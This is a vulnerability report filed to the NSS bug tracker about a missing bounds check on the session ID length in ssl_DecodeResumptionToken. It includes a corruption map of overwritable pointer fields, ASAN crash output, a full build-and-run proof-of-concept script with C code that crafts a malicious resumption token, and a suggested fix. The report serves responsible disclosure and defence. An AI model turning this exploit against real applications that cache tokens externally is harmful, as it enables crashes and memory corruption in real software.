[CWE-122] Heap/Stack Overflow in ssl_DecodeResumptionToken sessionID
Categories
(NSS :: Libraries, defect)
Tracking
(Not tracked)
People
(Reporter: harutokimura0608, Unassigned)
References
()
Details
(Keywords: reporter-external, Whiteboard: [client-bounty-form])
Attachments
(1 file)
|
7.12 KB,
text/x-sh
|
Details |
CWE: CWE-122 (Heap-based Buffer Overflow) / CWE-121 (Stack-based Buffer Overflow)
Affected Products
- NSS: >= 3.87 (when
SSLExp_SetResumptionTokenwas introduced) through latest — tested on 3.122 Beta (commit9028b604112bc4a797d9fa4824670bc686e3891a) - Firefox: Versions bundling NSS >= 3.87 — affected if TLS session resumption with external token caching is used
- Thunderbird: Same as Firefox
- Other: Any application using
SSL_SetResumptionToken()/SSL_GetResumptionTokenInfo()with externally-stored tokens (e.g., server-side TLS session caches in Redis, database, or file) - Platform tested: Ubuntu 22.04 x86_64, GCC 11 / Clang, AddressSanitizer
Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H — 7.4 High
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | Token traverses network or external storage |
| Attack Complexity | High | Requires external token cache / storage channel |
| Privileges Required | None | No authentication before token is decoded |
| User Interaction | None | Token decoding is transparent to end user |
| Scope | Unchanged | Confined to NSS process |
| Confidentiality | None | PoC demonstrates write/crash, no read primitive shown |
| Integrity | High | Heap/stack corruption via 223-byte overflow |
| Availability | High | Process crash certain |
Environment
- Target: NSS (Network Security Services) — 3.122 Beta (main branch, commit 9028b604112bc4a797d9fa4824670bc686e3891a, https://github.com/nss-dev/nss.git)
- Platform: Ubuntu 22.04 x86_64
- Compiler: GCC 11 + AddressSanitizer
- NSS version: ≥ NSS 3.87 (when SSLExp_SetResumptionToken was introduced; affects all subsequent versions through latest)
Affected Component
- File:
lib/ssl/sslnonce.c— line 627 - Functions:
ssl_DecodeResumptionToken()(sslnonce.c:450), called by:SSLExp_SetResumptionToken(fd, token, len)— sslsock.c:4584 → heap overflow in arena-allocatedsslSessionIDSSLExp_GetResumptionTokenInfo(token, len, info, infoLen)— sslsock.c:4673 → stack overflow in stack-allocatedsslSessionID
Root Cause Analysis
The ssl_DecodeResumptionToken() decoder reads the TLS session ID from the resumption token binary using a 1-byte variable-length prefix (sslRead_ReadVariable(&reader, 1, ...)) at sslnonce.c:621. This allows values 0–255. The decoder then unconditionally copies the data into sid->u.ssl3.sessionID:
/* sslnonce.c:621-628 — VULNERABLE */
if (sslRead_ReadVariable(&reader, 1, &readerBuffer) != SECSuccess) {
PORT_SetError(SEC_ERROR_INVALID_ARGS);
return SECFailure;
}
if (readerBuffer.len) {
PORT_Assert(readerBuffer.buf);
PORT_Memcpy(sid->u.ssl3.sessionID, readerBuffer.buf, readerBuffer.len); /* ← NO BOUNDS CHECK */
}
The destination buffer sid->u.ssl3.sessionID is PRUint8[SSL3_SESSIONID_BYTES] where SSL3_SESSIONID_BYTES = 32 (sslimpl.h:108).
Encoder/decoder asymmetry (confirmed):
- Encoder (sslnonce.c:963–964): ALWAYS writes exactly
SSL3_SESSIONID_BYTES(32) bytes viasslBuffer_AppendVariable. - Decoder (sslnonce.c:621–628): Accepts any value 0–255 from the external token bytes — no validation against
SSL3_SESSIONID_BYTES.
Maximum overflow: 255 - 32 = 223 bytes** past the sessionID buffer, corrupting adjacent fields in sslSessionID`.
Corruption map (offsets from sessionID[0]):
| Offset | Struct Field | Attack Impact |
|---|---|---|
| 33–36 | cipherSuite, policy |
Session parameter corruption |
| 37–88 | ssl3SidKeys (master secret) |
Key material overwrite |
| ~152 | srvName.data (pointer) |
Attacker-controlled PORT_Free() → arbitrary free |
| ~176 | signedCertTimestamps.data (pointer) |
Attacker-controlled free |
| ~224 | lock (PRRWLock*) |
PR_DestroyRWLock(attacker_ptr) → code execution |
No integrity protection: Resumption tokens have no MAC/HMAC. The API is explicitly designed for external caching (tokens are stored externally by the application and reloaded). An attacker who can modify the token storage (compromised cache, MITM on storage channel, supply chain) can inject the malicious token.
Attack Scenario / Exploitation Path
- Victim application uses
SSLExp_SetResumptionTokenCallbackto store TLS 1.3 session tokens externally (in a Redis cache, file, database, etc.) for session resumption. - Attacker intercepts or modifies the stored token, replacing the legitimate
sessionIDlength byte (0x20= 32) with0xFF(255) and filling 255 bytes of controlled data. - Victim application calls
SSLExp_SetResumptionToken(fd, modified_token, len)to resume the session. ssl_DecodeResumptionToken()readsreaderBuffer.len = 255from the token.PORT_Memcpy(sid->u.ssl3.sessionID, ..., 255)writes 223 bytes past the 32-byte buffer.- The
srvName.datapointer in the struct (≈offset 152) is overwritten with attacker-controlled bytes. - When
ssl_FreeSID(sid)is called (after decode failure or connection close),SECITEM_FreeItem(&sid->u.ssl3.srvName, PR_FALSE)callsPORT_Free(attacker_ptr)→ ASAN crash:attempting free on address not malloc'd.
Heap overflow path (step 3–7 above): SSLExp_SetResumptionToken → heap sslSessionID.
Stack overflow path: SSLExp_GetResumptionTokenInfo → stack sslSessionID sid = {0} at sslsock.c:4673.
CIA Triad Impact
- Confidentiality: None — PoC demonstrates controlled write and crash (free of attacker-controlled pointer); no read primitive or data exfiltration demonstrated.
- Integrity: High — Arbitrary heap corruption; overwritten function pointers (
lockfield) can redirect execution. - Availability: High — Process crash guaranteed when the freed corrupted pointer (
srvName.data) is dereferenced inssl_DestroySID.
ASAN Output
Captured on Ubuntu 22.04 x86_64 (bare GCP VM), NSS commit 9028b604112bc4a797d9fa4824670bc686e3891a, built with clang -fsanitize=address:
[*] NSS initialized
[*] Malicious token built (354 bytes), sessionID len = 0xFF
[*] Calling SSL_SetResumptionToken (heap overflow path)...
AddressSanitizer:DEADLYSIGNAL
=================================================================
==17541==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x5b65422815e4 bp 0x000000000000 sp 0x7fffcee0c540 T0)
==17541==The signal is caused by a READ memory access.
==17541==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used.
#0 0x5b65422815e4 in __asan::Allocator::Deallocate(void*, unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) (/tmp/poc_resumption+0x205e4)
#1 0x5b6542301f85 in free (/tmp/poc_resumption+0xa0f85)
#2 0x703472fa6b9f in PORT_Free_Util /home/HarutoKimura/nss/out/Debug/../../lib/util/secport.c:173:9
#3 0x703472fa0d7b in SECITEM_FreeItem_Util /home/HarutoKimura/nss/out/Debug/../../lib/util/secitem.c:288:9
#4 0x7034730fdd13 in ssl_DestroySID /home/HarutoKimura/nss/out/Debug/../../lib/ssl/sslnonce.c:178:9
#5 0x7034730fe0f9 in ssl_FreeLockedSID /home/HarutoKimura/nss/out/Debug/../../lib/ssl/sslnonce.c:221:9
#6 0x7034730fdfe4 in ssl_FreeSID /home/HarutoKimura/nss/out/Debug/../../lib/ssl/sslnonce.c:236:9
#7 0x703473132569 in SSLExp_SetResumptionToken /home/HarutoKimura/nss/out/Debug/../../lib/ssl/sslsock.c:4650:5
#8 0x5b654233d253 in main /tmp/poc_resumption.c:111:9
#9 0x703472829d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
#10 0x703472829e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
#11 0x5b654227f384 in _start (/tmp/poc_resumption+0x1e384)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/tmp/poc_resumption+0x205e4) in __asan::Allocator::Deallocate
==17541==ABORTING
Crash mechanism: PORT_Memcpy at sslnonce.c:627 writes 255 bytes into sessionID[32], overflowing 223 bytes into adjacent sslSessionID fields including srvName.data (≈offset 152). When ssl_FreeSID is called on PR_Close, SECITEM_FreeItem(&sid->u.ssl3.srvName) passes the attacker-controlled pointer 0x4141414141414141 to PORT_Free, causing ASAN to abort with SEGV in Allocator::Deallocate. ASAN does not emit heap-buffer-overflow for intra-struct overflows (no red zones inside arena allocations); the corruption is instead detected at the point of the invalid free.
One-Click Reproduction Script
#!/usr/bin/env bash
set -euo pipefail
# ============================================================
# NSS Resumption Token sessionID Buffer Overflow — PoC
# Tested on Ubuntu 22.04 x86_64
# ============================================================
sudo apt-get update -qq
sudo apt-get install -y -qq \
build-essential git python3 python3-pip ninja-build zlib1g-dev \
clang libnspr4-dev pkg-config
python3 -m pip install --quiet gyp-next
export PATH="$HOME/.local/bin:$PATH"
# --- 1. Clone NSS ---
git clone https://github.com/nss-dev/nss.git ~/nss
git -C ~/nss checkout 9028b604112bc4a797d9fa4824670bc686e3891a
# --- 2. Build NSS with ASAN ---
# NOTE: NSS ASAN build takes 15-20 min on a cold system — no timeout applied
cd ~/nss
CC=clang CCC=clang++ ./build.sh --asan --clang --system-nspr --disable-tests -v 2>&1 | tail -20 || {
echo "WARNING: build.sh exited non-zero (likely shlibsign ASAN crash)"
ls ../dist/Debug/lib/libnss3.so ../dist/Debug/lib/libsoftokn3.so ../dist/Debug/lib/libfreebl3.so \
|| { echo "FATAL: Core NSS libraries missing"; exit 1; }
echo "Core libraries present — continuing."
}
DIST="$(pwd)/../dist"
NSS_LIB=${DIST}/Debug/lib
NSS_INC=${DIST}/public/nss
NSPR_INC=/usr/include/nspr
# --- 3. Write the PoC C source ---
cat > /tmp/poc_resumption.c << 'CEOF'
/*
* NSS Resumption Token sessionID Buffer Overflow PoC
* CVE: Pending
*
* Triggers CWE-122 (heap) via SSLExp_SetResumptionToken and
* CWE-121 (stack) via SSLExp_GetResumptionTokenInfo.
*
* Root cause: ssl_DecodeResumptionToken (sslnonce.c:627) uses
* PORT_Memcpy(sid->u.ssl3.sessionID, buf, readerBuffer.len)
* where readerBuffer.len (0-255) is NOT validated against
* SSL3_SESSIONID_BYTES (32). Max overflow = 223 bytes.
*/
#include <nss.h>
#include <ssl.h>
#include <sslexp.h>
#include <prio.h>
#include <prerror.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
/*
* Construct a minimal malicious resumption token.
*
* Token format (ssl_DecodeResumptionToken, sslnonce.c:450):
* [0] version byte = SSLResumptionTokenVersion
* [1..8] lastAccessTime (8 bytes)
* [9..16] expirationTime (8 bytes)
* [17..24] received_timestamp (8 bytes)
* [25..28] ticket_lifetime_hint (4 bytes)
* [29..32] flags (4 bytes)
* [33..36] ticket_age_add (4 bytes)
* [37..40] max_early_data_size (4 bytes)
* [41..43] peerCert variable (3-byte len=0 → empty)
* [44..45] peerCertStatus variable (2-byte len=0 → empty)
* [46] peerID variable (1-byte len=0 → empty)
* [47] urlSvrName variable (1-byte len=0 → empty)
* [48..50] localCert variable (3-byte len=0 → empty)
* [51..58] addr.pr_s6_addr64[0] (8 bytes)
* [59..66] addr.pr_s6_addr64[1] (8 bytes)
* [67..68] port (2 bytes)
* [69..70] version (2 bytes)
* [71..78] creationTime (8 bytes)
* [79..80] authType (2 bytes)
* [81..84] authKeyBits (4 bytes)
* [85..86] keaType (2 bytes)
* [87..90] keaKeyBits (4 bytes)
* [91..93] keaGroup (3 bytes)
* [94..96] sigScheme (3 bytes)
* [97] sessionIDLength metadata (1 byte)
* [98] sessionID variable LENGTH = 0xFF ← OVERFLOW TRIGGER
* [99..353] sessionID data (255 bytes of 'A') ← OVERFLOW DATA
*/
static void build_malicious_token(unsigned char *buf, size_t *len_out)
{
memset(buf, 0, 400);
/* Byte 0: SSLResumptionTokenVersion — check sslimpl.h for exact value.
* Typically 1 or 2 in recent NSS versions. */
buf[0] = 2; /* SSLResumptionTokenVersion; adjust if decoder rejects */
/* Bytes 1..97 are already zero (valid zero values for all numeric fields
* and empty-length prefixes for variable fields). */
/* Byte 98: sessionID variable length = 0xFF (255) — triggers overflow */
buf[98] = 0xFF;
/* Bytes 99..353: attacker-controlled sessionID data (223 bytes past bound) */
memset(&buf[99], 0x41, 255);
*len_out = 354;
}
int main(void)
{
unsigned char token[400];
size_t token_len;
/* Initialize NSS without a certificate database */
if (NSS_NoDB_Init(".") != SECSuccess) {
fprintf(stderr, "NSS_NoDB_Init failed: %d\n", PR_GetError());
return 1;
}
fprintf(stderr, "[*] NSS initialized\n");
build_malicious_token(token, &token_len);
fprintf(stderr, "[*] Malicious token built (%zu bytes), sessionID len = 0xFF\n",
token_len);
/* --- Path 1: HEAP overflow via SSLExp_SetResumptionToken --- */
{
PRFileDesc *tcp = PR_OpenTCPSocket(PR_AF_INET);
if (!tcp) {
fprintf(stderr, "[-] PR_OpenTCPSocket failed\n");
goto stack_path;
}
PRFileDesc *sslfd = SSL_ImportFD(NULL, tcp);
if (!sslfd) {
fprintf(stderr, "[-] SSL_ImportFD failed\n");
PR_Close(tcp);
goto stack_path;
}
/* Configure as TLS client — required for SetResumptionToken */
SSL_OptionSet(sslfd, SSL_HANDSHAKE_AS_CLIENT, PR_TRUE);
fprintf(stderr, "[*] Calling SSL_SetResumptionToken (heap overflow path)...\n");
/* ssl_DecodeResumptionToken called internally.
* PORT_Memcpy at sslnonce.c:627 overflows sessionID[32] by 223 bytes.
* When ssl_FreeSID is called, srvName.data = 0x4141414141414141
* -> PORT_Free(0x4141414141414141) -> ASAN crash. */
SSL_SetResumptionToken(sslfd, token, (unsigned int)token_len);
PR_Close(sslfd); /* triggers ssl_DestroySID -> PORT_Free(corrupted ptr) */
fprintf(stderr, "[-] No crash on heap path (token version mismatch? "
"Adjust buf[0] to SSLResumptionTokenVersion value in sslimpl.h)\n");
}
stack_path:
/* --- Path 2: STACK overflow via SSLExp_GetResumptionTokenInfo --- */
{
SSLResumptionTokenInfo info;
memset(&info, 0, sizeof(info));
fprintf(stderr, "[*] Calling SSL_GetResumptionTokenInfo (stack overflow path)...\n");
/* sslSessionID sid = {0} allocated on stack inside this function.
* PORT_Memcpy at sslnonce.c:627 overwrites 223 bytes past sessionID[32]
* on the stack, corrupting return address and saved registers. */
SSL_GetResumptionTokenInfo(token, (unsigned int)token_len,
&info, sizeof(info));
fprintf(stderr, "[-] No crash on stack path (see note above)\n");
}
NSS_Shutdown();
fprintf(stderr, "[*] Done\n");
return 0;
}
CEOF
# --- 4. Compile the PoC ---
clang -fsanitize=address -g -O1 \
-I"${NSS_INC}" \
-I"${NSPR_INC}" \
/tmp/poc_resumption.c \
-L"${NSS_LIB}" \
-Wl,-rpath="${NSS_LIB}" \
-lssl3 -lnss3 -lnssutil3 -lnspr4 \
-o /tmp/poc_resumption
echo "[*] Compiled successfully: /tmp/poc_resumption"
# --- 5. Run the PoC ---
# Note: The PoC triggers a SEGV in ASAN's Allocator::Deallocate (corrupted
# free). Use log_path to capture the ASAN report to a file, because ASAN's
# signal handler output is lost with shell pipe redirects.
echo "[*] Running PoC..."
rm -f /tmp/asan_log.*
ASAN_OPTIONS="halt_on_error=0:handle_segv=1:print_stacktrace=1:log_path=/tmp/asan_log" \
LD_LIBRARY_PATH="${NSS_LIB}" /tmp/poc_resumption 2>&1 || true
echo ""
echo "[*] ASAN output:"
cat /tmp/asan_log.* 2>/dev/null || echo "No ASAN log files found"
echo "[*] PoC completed"
Suggested Fix
Add a bounds check before the PORT_Memcpy in sslnonce.c:
/* sslnonce.c:621-628 — SUGGESTED FIX */
if (sslRead_ReadVariable(&reader, 1, &readerBuffer) != SECSuccess) {
PORT_SetError(SEC_ERROR_INVALID_ARGS);
return SECFailure;
}
if (readerBuffer.len) {
PORT_Assert(readerBuffer.buf);
/* ADD: validate length before copy */
if (readerBuffer.len > SSL3_SESSIONID_BYTES) {
PORT_SetError(SEC_ERROR_INVALID_ARGS);
return SECFailure;
}
PORT_Memcpy(sid->u.ssl3.sessionID, readerBuffer.buf, readerBuffer.len);
}
Alternatively, change the encoder/decoder to use a fixed-width read (sslRead_ReadNumber) rather than a variable-length read for the session ID, since the session ID always has a known fixed size.
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Updated•1 month ago
|
Description
•